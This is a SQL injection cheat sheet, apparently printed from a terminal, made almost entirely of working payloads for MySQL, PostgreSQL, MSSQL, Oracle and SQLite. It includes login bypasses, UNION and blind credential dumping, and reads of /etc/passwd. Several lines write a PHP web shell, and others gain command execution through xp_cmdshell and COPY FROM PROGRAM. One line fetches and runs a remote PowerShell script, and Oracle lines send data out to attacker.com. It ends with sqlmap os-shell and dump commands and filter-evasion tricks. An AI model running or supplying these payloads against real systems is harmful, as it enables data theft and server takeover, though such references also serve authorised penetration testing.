kavklaw@llm $ cat sqli-cheatsheet.md
Every SQLi technique across every major DBMS — detect, exploit, exfiltrate.
Test every user-controlled input: GET/POST params, headers, cookies.
# String-based
'
''
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'#
' OR '1'='1'/*
" OR "1"="1"--
# Integer-based
1 OR 1=1
1 OR 1=1--
1' OR '1'='1
1 AND 1=1
1 AND 1=2 # Compare: true vs false response
# Error-based detection
'
'"
`
')
")
`)
'))
'))))
# Comment variations
-- # MySQL, MSSQL, PostgreSQL, Oracle
-- - # MySQL (space after --)
# # MySQL
/*comment*/ # All DBMS
; # Stacked queries (MSSQL, PostgreSQL)
# Time-based detection (blind)
' AND SLEEP(5)-- # MySQL
' AND pg_sleep(5)-- # PostgreSQL
'; WAITFOR DELAY '0:0:5'-- # MSSQL
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- # Oracle
# Classic login bypass
admin' OR '1'='1'--
admin' OR '1'='1'#
admin'--
' OR 1=1--
' OR 1=1#
'='
' LIKE '%
admin' OR 1=1 LIMIT 1--
admin')--
# Password field bypass
anything' OR '1'='1
anything' OR '1'='1'--
# Second-order SQLi
# Register username: admin'--
# Login with that username → WHERE username='admin'--' AND password='...'
# Version
SELECT @@version
SELECT version()
# Current user / database
SELECT user()
SELECT current_user()
SELECT database()
# List databases
SELECT schema_name FROM information_schema.schemata
# List tables
SELECT table_name FROM information_schema.tables WHERE table_schema='dbname'
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
# List columns
SELECT column_name FROM information_schema.columns WHERE table_name='tablename'
# Dump data
SELECT username,password FROM users
# Find number of columns
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - # Increment until error
# NULL-based column count
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
# Find displayable columns
' UNION SELECT 1,2,3-- -
# Extract data
' UNION SELECT username,password,3 FROM users-- -
' UNION SELECT group_concat(username,':',password),2,3 FROM users-- -
# Dump all databases
' UNION SELECT group_concat(schema_name),2,3 FROM information_schema.schemata-- -
# Dump all tables
' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema='dbname'-- -
# Dump all columns
' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_name='users'-- -
# extractvalue
' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))-- -
# updatexml
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- -
# Double query
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT user()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
# True/false testing
' AND 1=1-- - # True
' AND 1=2-- - # False
# Extract data character by character
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97-- -
' AND (SELECT LENGTH(password) FROM users LIMIT 1)=32-- -
' AND SLEEP(5)-- -
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -
' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>100,SLEEP(5),0)-- -
# Read file
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3-- -
# Write file (requires FILE priv + writable dir)
' UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3 INTO OUTFILE '/var/www/html/shell.php'-- -
' UNION SELECT "",2,3 INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3c3f706870...-- -
# MySQL doesn't support stacked queries via mysqli_query()
# BUT works with PDO and mysqli_multi_query()
'; INSERT INTO users VALUES('hacker','hacked');-- -
SELECT version()
SELECT current_user
SELECT current_database()
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
# Same technique as MySQL but use NULL for type matching
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT string_agg(username||':'||password,','),NULL,NULL FROM users--
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
' AND (SELECT pg_sleep(5))--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
# Read file
' UNION SELECT pg_read_file('/etc/passwd'),NULL,NULL--
# Command execution (superuser required)
'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;--
# Large object file read
SELECT lo_import('/etc/passwd');
SELECT lo_get(OID_NUMBER);
SELECT @@version
SELECT user_name()
SELECT db_name()
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--
' AND 1=(SELECT TOP 1 username FROM users)--
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')=1 WAITFOR DELAY '0:0:5'--
# MSSQL supports stacked queries
'; EXEC xp_cmdshell 'whoami';--
# Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC xp_cmdshell 'powershell -c "IEX(IWR http://LHOST/shell.ps1)"';--
# Read files
'; EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config';--
# OLE automation (alternative RCE)
'; DECLARE @o int; EXEC sp_oacreate 'wscript.shell',@o out; EXEC sp_oamethod @o,'run',null,'cmd /c whoami > C:\temp\out.txt';--
SELECT banner FROM v$version
SELECT user FROM dual
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
# Oracle requires FROM in every SELECT
' UNION SELECT NULL,NULL FROM dual--
' UNION SELECT username,password FROM users--
# String concatenation
' UNION SELECT username||':'||password,NULL FROM users--
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
' AND (CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END)=1--
# DNS exfiltration
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
' AND 1=DBMS_LDAP.INIT(((SELECT user FROM dual)||'.attacker.com'),80)--
SELECT sqlite_version()
SELECT name FROM sqlite_master WHERE type='table'
SELECT sql FROM sqlite_master WHERE name='users'
SELECT * FROM users
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT group_concat(username||':'||password),NULL,NULL FROM users--
' UNION SELECT sql,NULL,NULL FROM sqlite_master--
' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>64--
# Attach new database to writable location
'; ATTACH DATABASE '/var/www/html/shell.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn VALUES('<?php system($_GET["cmd"]); ?>');--
# Basic usage
sqlmap -u "http://target/page?id=1" --batch --dbs
# POST data
sqlmap -u "http://target/login" --data="user=test&pass=test" --batch
# From Burp request file
sqlmap -r request.txt --batch --dbs
# Enumerate
sqlmap -u URL --batch --dbs # List databases
sqlmap -u URL --batch -D dbname --tables # List tables
sqlmap -u URL --batch -D dbname -T users --dump # Dump table
sqlmap -u URL --batch -D dbname -T users --columns # List columns
# Specific techniques
sqlmap -u URL --technique=U --batch # Union only
sqlmap -u URL --technique=B --batch # Boolean blind
sqlmap -u URL --technique=T --batch # Time blind
# OS shell
sqlmap -u URL --os-shell --batch
sqlmap -u URL --os-cmd="whoami" --batch
# File read/write
sqlmap -u URL --file-read="/etc/passwd" --batch
sqlmap -u URL --file-write=shell.php --file-dest=/var/www/html/shell.php --batch
# Tamper scripts (WAF bypass)
sqlmap -u URL --tamper=space2comment --batch
sqlmap -u URL --tamper=between,randomcase --batch
# Common tamper scripts:
# space2comment, between, randomcase, charencode
# equaltolike, base64encode, percentage
# Case variation
SeLeCt, sElEcT, SELECT
# Comment injection
SEL/**/ECT, UN/**/ION
/*!50000SELECT*/ (MySQL version-based comment)
# URL encoding
%27 = '
%53%45%4c%45%43%54 = SELECT
Double encoding: %2527 = %27 = '
# Whitespace alternatives
/**/ # Comment as space
%09 # Tab
%0a # Newline
%0d # Carriage return
+ # Plus (URL encoded space)
# String concatenation (avoid quotes)
# MySQL: CONCAT(0x61,0x64,0x6d,0x69,0x6e) = 'admin'
# MySQL: CHAR(97,100,109,105,110) = 'admin'
# MSSQL: 'ad'+'min'
# Oracle: 'ad'||'min'
# PostgreSQL: CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
# Keyword alternatives
UNION ALL SELECT (instead of UNION SELECT)
&& instead of AND
|| instead of OR
LIKE instead of =
# Inline comments (MySQL)
1'/*!UNION*//*!SELECT*/1,2,3-- -
# NULL bytes
%00' UNION SELECT 1,2,3--